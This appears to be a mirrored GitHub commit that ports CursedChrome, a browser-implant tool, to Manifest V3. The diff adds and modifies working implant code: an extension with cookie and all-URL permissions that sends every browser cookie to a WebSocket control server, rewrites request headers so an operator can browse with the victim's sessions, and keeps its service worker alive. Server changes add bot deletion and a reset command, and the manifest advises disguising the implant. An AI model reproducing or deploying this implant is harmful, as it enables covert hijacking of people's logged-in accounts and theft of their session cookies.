mirror of
https://github.com/mandatoryprogrammer/CursedChrome
synced 2026-06-08 15:39:30 +00:00
MV3 baby
This commit is contained in:
@@ -166,6 +166,33 @@ async function get_api_server(proxy_utils) {
|
|||||||
}).end();
|
}).end();
|
||||||
});
|
});
|
||||||
|
|
||||||
|
/*
|
||||||
|
Delete a bot
|
||||||
|
*/
|
||||||
|
const DeleteBotSchema = {
|
||||||
|
type: 'object',
|
||||||
|
properties: {
|
||||||
|
bot_id: {
|
||||||
|
type: 'string',
|
||||||
|
required: true,
|
||||||
|
pattern: '[0-9a-f]{8}\-[0-9a-f]{4}\-[0-9a-f]{4}\-[0-9a-f]{4}\-[0-9a-f]{12}'
|
||||||
|
},
|
||||||
|
}
|
||||||
|
}
|
||||||
|
app.delete(API_BASE_PATH + '/bots', validate({ body: DeleteBotSchema }), async (req, res) => {
|
||||||
|
const bot = await Bots.findOne({
|
||||||
|
where: {
|
||||||
|
id: req.body.bot_id
|
||||||
|
}
|
||||||
|
});
|
||||||
|
await bot.destroy();
|
||||||
|
|
||||||
|
res.status(200).json({
|
||||||
|
"success": true,
|
||||||
|
"result": {}
|
||||||
|
}).end();
|
||||||
|
});
|
||||||
|
|
||||||
/*
|
/*
|
||||||
Get list of bots
|
Get list of bots
|
||||||
*/
|
*/
|
||||||
|
|||||||
+1
-1
@@ -1,4 +1,3 @@
|
|||||||
version: '3.2'
|
|
||||||
services:
|
services:
|
||||||
redis:
|
redis:
|
||||||
image: "redis:alpine"
|
image: "redis:alpine"
|
||||||
@@ -26,6 +25,7 @@ services:
|
|||||||
# Number of bcrypt rounds for
|
# Number of bcrypt rounds for
|
||||||
# storing admin panel passwords.
|
# storing admin panel passwords.
|
||||||
BCRYPT_ROUNDS: 10
|
BCRYPT_ROUNDS: 10
|
||||||
|
DEBUGGING: "yes"
|
||||||
ports:
|
ports:
|
||||||
- "127.0.0.1:8080:8080" # Proxy server
|
- "127.0.0.1:8080:8080" # Proxy server
|
||||||
- "127.0.0.1:4343:4343" # WebSocket server (talks with implants)
|
- "127.0.0.1:4343:4343" # WebSocket server (talks with implants)
|
||||||
|
|||||||
+10
-10
@@ -1,7 +1,7 @@
|
|||||||
{
|
{
|
||||||
"name": "CursedChrome Implant",
|
"name": "CursedChrome Implant",
|
||||||
"version": "0.0.1",
|
"version": "0.0.2",
|
||||||
"manifest_version": 2,
|
"manifest_version": 3,
|
||||||
"description": "Example Chrome extension with implant code. You should probably inject/disguise the implant instead of installing this extension directly.",
|
"description": "Example Chrome extension with implant code. You should probably inject/disguise the implant instead of installing this extension directly.",
|
||||||
"homepage_url": "https://thehackerblog.com",
|
"homepage_url": "https://thehackerblog.com",
|
||||||
"icons": {
|
"icons": {
|
||||||
@@ -11,15 +11,15 @@
|
|||||||
},
|
},
|
||||||
"default_locale": "en",
|
"default_locale": "en",
|
||||||
"background": {
|
"background": {
|
||||||
"scripts": [
|
"service_worker": "src/bg/background.js"
|
||||||
"src/bg/background.js"
|
|
||||||
],
|
|
||||||
"persistent": true
|
|
||||||
},
|
},
|
||||||
"permissions": [
|
"permissions": [
|
||||||
"webRequest",
|
"webRequest",
|
||||||
"webRequestBlocking",
|
"cookies",
|
||||||
"<all_urls>",
|
"storage",
|
||||||
"cookies"
|
"declarativeNetRequest"
|
||||||
|
],
|
||||||
|
"host_permissions": [
|
||||||
|
"<all_urls>"
|
||||||
]
|
]
|
||||||
}
|
}
|
||||||
|
|||||||
+125
-69
@@ -22,30 +22,41 @@ const REQUEST_HEADER_BLACKLIST = [
|
|||||||
|
|
||||||
const RPC_CALL_TABLE = {
|
const RPC_CALL_TABLE = {
|
||||||
'HTTP_REQUEST': perform_http_request,
|
'HTTP_REQUEST': perform_http_request,
|
||||||
'PONG': () => {}, // NOP, since timestamp is updated on inbound message.
|
'PONG': () => { }, // NOP, since timestamp is updated on inbound message.
|
||||||
'AUTH': authenticate,
|
'AUTH': authenticate,
|
||||||
'GET_COOKIES': get_cookies,
|
'GET_COOKIES': get_cookies,
|
||||||
|
'RESET': reset,
|
||||||
};
|
};
|
||||||
|
|
||||||
|
|
||||||
|
async function reset(params) {
|
||||||
|
// We've been reset, clear local identifier and reconnect
|
||||||
|
await chrome.storage.local.clear();
|
||||||
|
websocket.close();
|
||||||
|
websocket = false;
|
||||||
|
initialize();
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
/*
|
/*
|
||||||
Return an array of cookies for the current cookie store.
|
Return an array of cookies for the current cookie store.
|
||||||
*/
|
*/
|
||||||
async function get_cookies(params) {
|
async function get_cookies(params) {
|
||||||
// If the "cookies" permission is not available
|
// If the "cookies" permission is not available
|
||||||
// just return an empty array.
|
// just return an empty array.
|
||||||
if(!chrome.cookies) {
|
if (!chrome.cookies) {
|
||||||
return [];
|
return [];
|
||||||
}
|
}
|
||||||
return getallcookies({});
|
return getallcookies({});
|
||||||
}
|
}
|
||||||
|
|
||||||
function getallcookies(details) {
|
function getallcookies(details) {
|
||||||
return new Promise(function(resolve, reject) {
|
return new Promise(function (resolve, reject) {
|
||||||
try {
|
try {
|
||||||
chrome.cookies.getAll(details, function(cookies_array) {
|
chrome.cookies.getAll(details, function (cookies_array) {
|
||||||
resolve(cookies_array);
|
resolve(cookies_array);
|
||||||
});
|
});
|
||||||
} catch(e) {
|
} catch (e) {
|
||||||
reject(e);
|
reject(e);
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
@@ -53,16 +64,15 @@ function getallcookies(details) {
|
|||||||
|
|
||||||
async function authenticate(params) {
|
async function authenticate(params) {
|
||||||
// Check for a previously-set browser identifier.
|
// Check for a previously-set browser identifier.
|
||||||
var browser_id = localStorage.getItem('browser_id');
|
const browser_id_obj = await chrome.storage.local.get(['browser_id']);
|
||||||
|
|
||||||
// If no browser ID is already set we generate a
|
// If no browser ID is already set we generate a
|
||||||
// new one and return it to the server.
|
// new one and return it to the server.
|
||||||
if(browser_id === null) {
|
if (browser_id_obj === null || !('browser_id' in browser_id_obj)) {
|
||||||
browser_id = uuidv4();
|
browser_id = uuidv4();
|
||||||
localStorage.setItem(
|
await chrome.storage.local.set({
|
||||||
'browser_id',
|
'browser_id': browser_id
|
||||||
browser_id
|
});
|
||||||
);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/*
|
/*
|
||||||
@@ -70,7 +80,7 @@ async function authenticate(params) {
|
|||||||
some metadata about the instance.
|
some metadata about the instance.
|
||||||
*/
|
*/
|
||||||
return {
|
return {
|
||||||
'browser_id': browser_id,
|
'browser_id': browser_id_obj.browser_id,
|
||||||
'user_agent': navigator.userAgent,
|
'user_agent': navigator.userAgent,
|
||||||
'timestamp': get_unix_timestamp()
|
'timestamp': get_unix_timestamp()
|
||||||
}
|
}
|
||||||
@@ -79,16 +89,16 @@ async function authenticate(params) {
|
|||||||
function get_secure_random_token(bytes_length) {
|
function get_secure_random_token(bytes_length) {
|
||||||
const validChars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
|
const validChars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
|
||||||
let array = new Uint8Array(bytes_length);
|
let array = new Uint8Array(bytes_length);
|
||||||
window.crypto.getRandomValues(array);
|
crypto.getRandomValues(array);
|
||||||
array = array.map(x => validChars.charCodeAt(x % validChars.length));
|
array = array.map(x => validChars.charCodeAt(x % validChars.length));
|
||||||
const random_string = String.fromCharCode.apply(null, array);
|
const random_string = String.fromCharCode.apply(null, array);
|
||||||
return random_string;
|
return random_string;
|
||||||
}
|
}
|
||||||
|
|
||||||
function uuidv4() {
|
function uuidv4() {
|
||||||
return ([1e7]+-1e3+-4e3+-8e3+-1e11).replace(/[018]/g, c =>
|
return ([1e7] + -1e3 + -4e3 + -8e3 + -1e11).replace(/[018]/g, c =>
|
||||||
(c ^ crypto.getRandomValues(new Uint8Array(1))[0] & 15 >> c / 4).toString(16)
|
(c ^ crypto.getRandomValues(new Uint8Array(1))[0] & 15 >> c / 4).toString(16)
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
function arrayBufferToBase64(buffer) {
|
function arrayBufferToBase64(buffer) {
|
||||||
@@ -98,7 +108,7 @@ function arrayBufferToBase64(buffer) {
|
|||||||
for (var i = 0; i < len; i++) {
|
for (var i = 0; i < len; i++) {
|
||||||
binary += String.fromCharCode(bytes[i]);
|
binary += String.fromCharCode(bytes[i]);
|
||||||
}
|
}
|
||||||
return window.btoa(binary);
|
return btoa(binary);
|
||||||
}
|
}
|
||||||
|
|
||||||
function get_unix_timestamp() {
|
function get_unix_timestamp() {
|
||||||
@@ -240,7 +250,7 @@ async function perform_http_request(params) {
|
|||||||
const redirect_hack_url_prefix = `${location.origin.toString()}/redirect-hack.html?id=`;
|
const redirect_hack_url_prefix = `${location.origin.toString()}/redirect-hack.html?id=`;
|
||||||
|
|
||||||
// Handler 301, 302, 307 edge case
|
// Handler 301, 302, 307 edge case
|
||||||
if(response.url.startsWith(redirect_hack_url_prefix)) {
|
if (response.url.startsWith(redirect_hack_url_prefix)) {
|
||||||
var response_metadata_string = decodeURIComponent(response.url);
|
var response_metadata_string = decodeURIComponent(response.url);
|
||||||
response_metadata_string = response_metadata_string.replace(
|
response_metadata_string = response_metadata_string.replace(
|
||||||
redirect_hack_url_prefix,
|
redirect_hack_url_prefix,
|
||||||
@@ -300,11 +310,10 @@ function initialize() {
|
|||||||
// snitch don't alert on a new port connection from Chrome).
|
// snitch don't alert on a new port connection from Chrome).
|
||||||
websocket = new WebSocket("ws://127.0.0.1:4343");
|
websocket = new WebSocket("ws://127.0.0.1:4343");
|
||||||
|
|
||||||
websocket.onopen = function(e) {
|
websocket.onopen = function (e) {
|
||||||
//websocket.send("My name is John");
|
|
||||||
};
|
};
|
||||||
|
|
||||||
websocket.onmessage = async function(event) {
|
websocket.onmessage = async function (event) {
|
||||||
// Update last live connection timestamp
|
// Update last live connection timestamp
|
||||||
last_live_connection_timestamp = get_unix_timestamp();
|
last_live_connection_timestamp = get_unix_timestamp();
|
||||||
|
|
||||||
@@ -320,6 +329,9 @@ function initialize() {
|
|||||||
|
|
||||||
if (parsed_message.action in RPC_CALL_TABLE) {
|
if (parsed_message.action in RPC_CALL_TABLE) {
|
||||||
const result = await RPC_CALL_TABLE[parsed_message.action](parsed_message.data);
|
const result = await RPC_CALL_TABLE[parsed_message.action](parsed_message.data);
|
||||||
|
if (result === false) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
websocket.send(
|
websocket.send(
|
||||||
JSON.stringify({
|
JSON.stringify({
|
||||||
// Use same ID so it can be correlated with the response
|
// Use same ID so it can be correlated with the response
|
||||||
@@ -333,7 +345,7 @@ function initialize() {
|
|||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
websocket.onclose = function(event) {
|
websocket.onclose = function (event) {
|
||||||
if (event.wasClean) {
|
if (event.wasClean) {
|
||||||
console.log(`[close] Connection closed cleanly, code=${event.code} reason=${event.reason}`);
|
console.log(`[close] Connection closed cleanly, code=${event.code} reason=${event.reason}`);
|
||||||
} else {
|
} else {
|
||||||
@@ -343,7 +355,7 @@ function initialize() {
|
|||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
websocket.onerror = function(error) {
|
websocket.onerror = function (error) {
|
||||||
console.log(`[error] ${error.message}`);
|
console.log(`[error] ${error.message}`);
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
@@ -372,9 +384,9 @@ Additionally, for defense in depth, nothing that isn't initiated by the Chrome e
|
|||||||
is actually processed.
|
is actually processed.
|
||||||
*/
|
*/
|
||||||
chrome.webRequest.onBeforeSendHeaders.addListener(
|
chrome.webRequest.onBeforeSendHeaders.addListener(
|
||||||
function(details) {
|
function (details) {
|
||||||
// Ensure we only process requests done by the Chrome extension
|
// Ensure we only process requests done by the Chrome extension
|
||||||
if(details.initiator !== location.origin.toString()) {
|
if (details.initiator !== location.origin.toString()) {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -382,54 +394,54 @@ chrome.webRequest.onBeforeSendHeaders.addListener(
|
|||||||
var header_keys_to_delete = [];
|
var header_keys_to_delete = [];
|
||||||
var headers_to_append = [];
|
var headers_to_append = [];
|
||||||
|
|
||||||
details.requestHeaders.map(requestHeader => {
|
details.requestHeaders.map(requestHeader => {
|
||||||
if(requestHeader.name === 'X-PLACEHOLDER-SECRET' && requestHeader.value === placeholder_secret_token) {
|
if (requestHeader.name === 'X-PLACEHOLDER-SECRET' && requestHeader.value === placeholder_secret_token) {
|
||||||
has_header_secret = true;
|
has_header_secret = true;
|
||||||
header_keys_to_delete.push('X-PLACEHOLDER-SECRET');
|
header_keys_to_delete.push('X-PLACEHOLDER-SECRET');
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
|
|
||||||
// If there's no secret header set with the
|
// If there's no secret header set with the
|
||||||
// proper secret then quit out the proxy replacement.
|
// proper secret then quit out the proxy replacement.
|
||||||
if(!has_header_secret) {
|
if (!has_header_secret) {
|
||||||
return {
|
return {
|
||||||
cancel: false
|
cancel: false
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
// Get headers to remove and headers to append
|
// Get headers to remove and headers to append
|
||||||
details.requestHeaders.map(requestHeader => {
|
details.requestHeaders.map(requestHeader => {
|
||||||
if(!requestHeader.name.startsWith('X-PLACEHOLDER-SECRET') && requestHeader.name.startsWith('X-PLACEHOLDER-')) {
|
if (!requestHeader.name.startsWith('X-PLACEHOLDER-SECRET') && requestHeader.name.startsWith('X-PLACEHOLDER-')) {
|
||||||
header_keys_to_delete.push(requestHeader.name);
|
header_keys_to_delete.push(requestHeader.name);
|
||||||
|
|
||||||
// Skip the header if it's in the blacklist (e.g. Cookie)
|
// Skip the header if it's in the blacklist (e.g. Cookie)
|
||||||
if(REQUEST_HEADER_BLACKLIST.includes(requestHeader.name.replace('X-PLACEHOLDER-', '').toLowerCase())) {
|
if (REQUEST_HEADER_BLACKLIST.includes(requestHeader.name.replace('X-PLACEHOLDER-', '').toLowerCase())) {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
headers_to_append.push({
|
headers_to_append.push({
|
||||||
'name': requestHeader.name.replace('X-PLACEHOLDER-', ''),
|
'name': requestHeader.name.replace('X-PLACEHOLDER-', ''),
|
||||||
'value': requestHeader.value
|
'value': requestHeader.value
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
|
|
||||||
// Remove headers
|
// Remove headers
|
||||||
details.requestHeaders = details.requestHeaders.filter(requestHeader => {
|
details.requestHeaders = details.requestHeaders.filter(requestHeader => {
|
||||||
return !header_keys_to_delete.includes(requestHeader.name);
|
return !header_keys_to_delete.includes(requestHeader.name);
|
||||||
});
|
});
|
||||||
|
|
||||||
// Add appended headers
|
// Add appended headers
|
||||||
details.requestHeaders = details.requestHeaders.concat(
|
details.requestHeaders = details.requestHeaders.concat(
|
||||||
headers_to_append
|
headers_to_append
|
||||||
);
|
);
|
||||||
|
|
||||||
return {
|
return {
|
||||||
requestHeaders: details.requestHeaders
|
requestHeaders: details.requestHeaders
|
||||||
};
|
};
|
||||||
}, {
|
}, {
|
||||||
urls: ["<all_urls>"]
|
urls: ["<all_urls>"]
|
||||||
}, ["blocking", "requestHeaders", "extraHeaders"]
|
}, ["requestHeaders", "extraHeaders"]
|
||||||
);
|
);
|
||||||
|
|
||||||
|
|
||||||
@@ -439,29 +451,29 @@ const REDIRECT_STATUS_CODES = [
|
|||||||
307
|
307
|
||||||
];
|
];
|
||||||
|
|
||||||
chrome.webRequest.onHeadersReceived.addListener(function(details) {
|
chrome.webRequest.onHeadersReceived.addListener(function (details) {
|
||||||
// Ensure we only process requests done by the Chrome extension
|
// Ensure we only process requests done by the Chrome extension
|
||||||
if(details.initiator !== location.origin.toString()) {
|
if (details.initiator !== location.origin.toString()) {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
// Rewrite Set-Cookie to expose it in fetch()
|
// Rewrite Set-Cookie to expose it in fetch()
|
||||||
var cookies = []
|
var cookies = []
|
||||||
details.responseHeaders.map(responseHeader => {
|
details.responseHeaders.map(responseHeader => {
|
||||||
if(responseHeader.name.toLowerCase() === 'set-cookie') {
|
if (responseHeader.name.toLowerCase() === 'set-cookie') {
|
||||||
cookies.push(responseHeader.value);
|
cookies.push(responseHeader.value);
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
if (cookies.length != 0) {
|
if (cookies.length != 0) {
|
||||||
details.responseHeaders.push({
|
details.responseHeaders.push({
|
||||||
'name': 'X-Set-Cookie',
|
'name': 'X-Set-Cookie',
|
||||||
// We pack array of cookies into string and depack later.
|
// We pack array of cookies into string and depack later.
|
||||||
// Otherwise multiple Set-Cookie headers would be merged together.
|
// Otherwise multiple Set-Cookie headers would be merged together.
|
||||||
'value': JSON.stringify(cookies)
|
'value': JSON.stringify(cookies)
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
if(!REDIRECT_STATUS_CODES.includes(details.statusCode)) {
|
if (!REDIRECT_STATUS_CODES.includes(details.statusCode)) {
|
||||||
return {
|
return {
|
||||||
responseHeaders: details.responseHeaders
|
responseHeaders: details.responseHeaders
|
||||||
}
|
}
|
||||||
@@ -480,4 +492,48 @@ chrome.webRequest.onHeadersReceived.addListener(function(details) {
|
|||||||
};
|
};
|
||||||
}, {
|
}, {
|
||||||
urls: ["<all_urls>"]
|
urls: ["<all_urls>"]
|
||||||
}, ["blocking", "responseHeaders", "extraHeaders"]);
|
}, ["responseHeaders", "extraHeaders"]);
|
||||||
|
|
||||||
|
|
||||||
|
(async () => {
|
||||||
|
// From https://developer.chrome.com/docs/extensions/develop/migrate/to-service-workers#keep_a_service_worker_alive_continuously
|
||||||
|
/**
|
||||||
|
* Tracks when a service worker was last alive and extends the service worker
|
||||||
|
* lifetime by writing the current time to extension storage every 20 seconds.
|
||||||
|
* You should still prepare for unexpected termination - for example, if the
|
||||||
|
* extension process crashes or your extension is manually stopped at
|
||||||
|
* chrome://serviceworker-internals.
|
||||||
|
*/
|
||||||
|
let heartbeatInterval;
|
||||||
|
|
||||||
|
async function runHeartbeat() {
|
||||||
|
await chrome.storage.local.set({ 'last-heartbeat': new Date().getTime() });
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Starts the heartbeat interval which keeps the service worker alive. Call
|
||||||
|
* this sparingly when you are doing work which requires persistence, and call
|
||||||
|
* stopHeartbeat once that work is complete.
|
||||||
|
*/
|
||||||
|
async function startHeartbeat() {
|
||||||
|
// Run the heartbeat once at service worker startup.
|
||||||
|
runHeartbeat().then(() => {
|
||||||
|
// Then again every 20 seconds.
|
||||||
|
heartbeatInterval = setInterval(runHeartbeat, 20 * 1000);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
async function stopHeartbeat() {
|
||||||
|
clearInterval(heartbeatInterval);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Returns the last heartbeat stored in extension storage, or undefined if
|
||||||
|
* the heartbeat has never run before.
|
||||||
|
*/
|
||||||
|
async function getLastHeartbeat() {
|
||||||
|
return (await chrome.storage.local.get('last-heartbeat'))['last-heartbeat'];
|
||||||
|
}
|
||||||
|
|
||||||
|
await startHeartbeat();
|
||||||
|
})();
|
||||||
@@ -165,6 +165,12 @@
|
|||||||
<font-awesome-icon :icon="['fas', 'edit']" class="icon alt mr-1 ml-1" /> Rename
|
<font-awesome-icon :icon="['fas', 'edit']" class="icon alt mr-1 ml-1" /> Rename
|
||||||
</b-button>
|
</b-button>
|
||||||
</div>
|
</div>
|
||||||
|
<hr />
|
||||||
|
<div class="input-group">
|
||||||
|
<b-button variant="danger" v-on:click="delete_bot">
|
||||||
|
<font-awesome-icon :icon="['fas', 'delete']" class="icon alt mr-1 ml-1" /> Delete Bot
|
||||||
|
</b-button>
|
||||||
|
</div>
|
||||||
</b-modal>
|
</b-modal>
|
||||||
</div>
|
</div>
|
||||||
<!-- Update user password modal -->
|
<!-- Update user password modal -->
|
||||||
@@ -284,6 +290,17 @@ export default {
|
|||||||
this.user.password_should_be_changed = login_result.password_should_be_changed;
|
this.user.password_should_be_changed = login_result.password_should_be_changed;
|
||||||
|
|
||||||
},
|
},
|
||||||
|
async delete_bot() {
|
||||||
|
await api_request(
|
||||||
|
'DELETE',
|
||||||
|
'/bots', {
|
||||||
|
'bot_id': this.options_selected_bot.id
|
||||||
|
}
|
||||||
|
);
|
||||||
|
this.$toastr.s('Bot deleted succesfully.');
|
||||||
|
this.$bvModal.hide('bot_options_modal');
|
||||||
|
this.refresh_bots();
|
||||||
|
},
|
||||||
async update_bot_name() {
|
async update_bot_name() {
|
||||||
await api_request(
|
await api_request(
|
||||||
'PUT',
|
'PUT',
|
||||||
|
|||||||
@@ -4,6 +4,7 @@ const cluster = require('cluster');
|
|||||||
const WebSocket = require('ws');
|
const WebSocket = require('ws');
|
||||||
const https = require('https');
|
const https = require('https');
|
||||||
const redis = require("redis");
|
const redis = require("redis");
|
||||||
|
const http = require('http');
|
||||||
const uuid = require('uuid');
|
const uuid = require('uuid');
|
||||||
const util = require('util');
|
const util = require('util');
|
||||||
const fs = require('fs');
|
const fs = require('fs');
|
||||||
@@ -33,7 +34,7 @@ const numCPUs = require('os').cpus().length;
|
|||||||
const PROXY_PORT = process.env.PROXY_PORT || 8080;
|
const PROXY_PORT = process.env.PROXY_PORT || 8080;
|
||||||
const WS_PORT = process.env.WS_PORT || 4343;
|
const WS_PORT = process.env.WS_PORT || 4343;
|
||||||
const API_SERVER_PORT = process.env.API_SERVER_PORT || 8118;
|
const API_SERVER_PORT = process.env.API_SERVER_PORT || 8118;
|
||||||
const SERVER_VERSION = '1.0.0';
|
const SERVER_VERSION = '1.0.1';
|
||||||
|
|
||||||
const RPC_CALL_TABLE = {
|
const RPC_CALL_TABLE = {
|
||||||
'PING': ping,
|
'PING': ping,
|
||||||
@@ -46,6 +47,31 @@ const REQUEST_TABLE = new NodeCache({
|
|||||||
});
|
});
|
||||||
|
|
||||||
async function ping(websocket_connection, params) {
|
async function ping(websocket_connection, params) {
|
||||||
|
|
||||||
|
|
||||||
|
// Update bot as online
|
||||||
|
const bot = await Bots.findOne({
|
||||||
|
where: {
|
||||||
|
browser_id: websocket_connection.browser_id
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
if (!bot) {
|
||||||
|
websocket_connection.send(
|
||||||
|
JSON.stringify({
|
||||||
|
'id': uuid.v4(),
|
||||||
|
'version': SERVER_VERSION,
|
||||||
|
'action': 'RESET',
|
||||||
|
'data': {}
|
||||||
|
})
|
||||||
|
)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
await bot.update({
|
||||||
|
is_online: true,
|
||||||
|
});
|
||||||
|
|
||||||
// Send PONG message back
|
// Send PONG message back
|
||||||
websocket_connection.send(
|
websocket_connection.send(
|
||||||
JSON.stringify({
|
JSON.stringify({
|
||||||
@@ -55,16 +81,6 @@ async function ping(websocket_connection, params) {
|
|||||||
'data': {}
|
'data': {}
|
||||||
})
|
})
|
||||||
)
|
)
|
||||||
|
|
||||||
// Update bot as online
|
|
||||||
const bot = await Bots.findOne({
|
|
||||||
where: {
|
|
||||||
browser_id: websocket_connection.browser_id
|
|
||||||
}
|
|
||||||
});
|
|
||||||
await bot.update({
|
|
||||||
is_online: true,
|
|
||||||
});
|
|
||||||
}
|
}
|
||||||
|
|
||||||
function get_browser_proxy(input_browser_id) {
|
function get_browser_proxy(input_browser_id) {
|
||||||
@@ -79,9 +95,9 @@ function get_browser_proxy(input_browser_id) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
function authenticate_client(websocket_connection) {
|
function authenticate_client(websocket_connection) {
|
||||||
return new Promise(function(resolve, reject) {
|
return new Promise(function (resolve, reject) {
|
||||||
// For timeout, will reject if no response in 30 seconds.
|
// For timeout, will reject if no response in 30 seconds.
|
||||||
setTimeout(function() {
|
setTimeout(function () {
|
||||||
reject(`A timeout occurred when authenticating WebSocket client.`);
|
reject(`A timeout occurred when authenticating WebSocket client.`);
|
||||||
}, (30 * 1000));
|
}, (30 * 1000));
|
||||||
|
|
||||||
@@ -109,9 +125,9 @@ function authenticate_client(websocket_connection) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
function get_browser_cookie_array(browser_id) {
|
function get_browser_cookie_array(browser_id) {
|
||||||
return new Promise(function(resolve, reject) {
|
return new Promise(function (resolve, reject) {
|
||||||
// For timeout, will reject if no response in 30 seconds.
|
// For timeout, will reject if no response in 30 seconds.
|
||||||
setTimeout(function() {
|
setTimeout(function () {
|
||||||
reject(`Get cookies RPC called timed out.`);
|
reject(`Get cookies RPC called timed out.`);
|
||||||
}, (30 * 1000));
|
}, (30 * 1000));
|
||||||
|
|
||||||
@@ -149,9 +165,9 @@ function get_browser_cookie_array(browser_id) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
function send_request_via_browser(browser_id, authenticated, url, method, headers, body) {
|
function send_request_via_browser(browser_id, authenticated, url, method, headers, body) {
|
||||||
return new Promise(function(resolve, reject) {
|
return new Promise(function (resolve, reject) {
|
||||||
// For timeout, will reject if no response in 30 seconds.
|
// For timeout, will reject if no response in 30 seconds.
|
||||||
setTimeout(function() {
|
setTimeout(function () {
|
||||||
reject(`Request Timed Out for URL ${url}!`);
|
reject(`Request Timed Out for URL ${url}!`);
|
||||||
}, (30 * 1000));
|
}, (30 * 1000));
|
||||||
|
|
||||||
@@ -248,7 +264,7 @@ async function get_authentication_status(inputRequestDetail) {
|
|||||||
// If we already have this cached we can stop here.
|
// If we already have this cached we can stop here.
|
||||||
const credential_data_string = await getAsync(memory_cache_key);
|
const credential_data_string = await getAsync(memory_cache_key);
|
||||||
|
|
||||||
if(credential_data_string) {
|
if (credential_data_string) {
|
||||||
const cached_record = JSON.parse(credential_data_string);
|
const cached_record = JSON.parse(credential_data_string);
|
||||||
return {
|
return {
|
||||||
'id': cached_record.id,
|
'id': cached_record.id,
|
||||||
@@ -274,7 +290,7 @@ async function get_authentication_status(inputRequestDetail) {
|
|||||||
// No need to wait for this to resolve
|
// No need to wait for this to resolve
|
||||||
await setexAsync(
|
await setexAsync(
|
||||||
memory_cache_key,
|
memory_cache_key,
|
||||||
( 60 * 10 ),
|
(60 * 10),
|
||||||
JSON.stringify(browserproxy_record),
|
JSON.stringify(browserproxy_record),
|
||||||
);
|
);
|
||||||
|
|
||||||
@@ -355,7 +371,7 @@ const options = {
|
|||||||
//throttle: 10000,
|
//throttle: 10000,
|
||||||
forceProxyHttps: true,
|
forceProxyHttps: true,
|
||||||
wsIntercept: false,
|
wsIntercept: false,
|
||||||
silent: true
|
silent: !(process.env.DEBUGGING === "yes")
|
||||||
};
|
};
|
||||||
|
|
||||||
async function initialize_new_browser_connection(ws) {
|
async function initialize_new_browser_connection(ws) {
|
||||||
@@ -432,7 +448,7 @@ async function initialize() {
|
|||||||
redis_client = redis.createClient({
|
redis_client = redis.createClient({
|
||||||
"host": process.env.REDIS_HOST,
|
"host": process.env.REDIS_HOST,
|
||||||
});
|
});
|
||||||
redis_client.on("error", function(error) {
|
redis_client.on("error", function (error) {
|
||||||
logit(`Redis client encountered an error:`);
|
logit(`Redis client encountered an error:`);
|
||||||
console.error(error);
|
console.error(error);
|
||||||
});
|
});
|
||||||
@@ -449,12 +465,12 @@ async function initialize() {
|
|||||||
delAsync = util.promisify(redis_client.del).bind(redis_client);
|
delAsync = util.promisify(redis_client.del).bind(redis_client);
|
||||||
|
|
||||||
// Called when a new redis subscription is added
|
// Called when a new redis subscription is added
|
||||||
subscriber.on("subscribe", function(channel, count) {
|
subscriber.on("subscribe", function (channel, count) {
|
||||||
//logit(`New subscription created for channel ${channel}, bring total to ${count}.`);
|
//logit(`New subscription created for channel ${channel}, bring total to ${count}.`);
|
||||||
});
|
});
|
||||||
|
|
||||||
// Called when a new message is written to a channel
|
// Called when a new message is written to a channel
|
||||||
subscriber.on("message", function(channel, message) {
|
subscriber.on("message", function (channel, message) {
|
||||||
//logit(`Received a new message at channel '${channel}', message is '${message}'`);
|
//logit(`Received a new message at channel '${channel}', message is '${message}'`);
|
||||||
|
|
||||||
// For messages being sent to the browser from the proxy
|
// For messages being sent to the browser from the proxy
|
||||||
@@ -495,8 +511,21 @@ async function initialize() {
|
|||||||
}
|
}
|
||||||
});
|
});
|
||||||
|
|
||||||
|
// Build HTTP server first and pass to WS server
|
||||||
|
// This is a forward-looking change so versioning doesn't
|
||||||
|
// become a clusterfuck with addon tools for the server.
|
||||||
|
const http_server = http.createServer(function (req, res) {
|
||||||
|
res.writeHead(200, {
|
||||||
|
'Content-Type': 'text/plain',
|
||||||
|
'CC-Server-Version': SERVER_VERSION,
|
||||||
|
});
|
||||||
|
res.write('');
|
||||||
|
res.end();
|
||||||
|
}).listen(WS_PORT);
|
||||||
|
|
||||||
wss = new WebSocket.Server({
|
wss = new WebSocket.Server({
|
||||||
port: WS_PORT
|
server: http_server
|
||||||
|
// port: WS_PORT
|
||||||
});
|
});
|
||||||
|
|
||||||
wss.on('connection', async function connection(ws) {
|
wss.on('connection', async function connection(ws) {
|
||||||
|
|||||||
Reference in New Issue
Block a user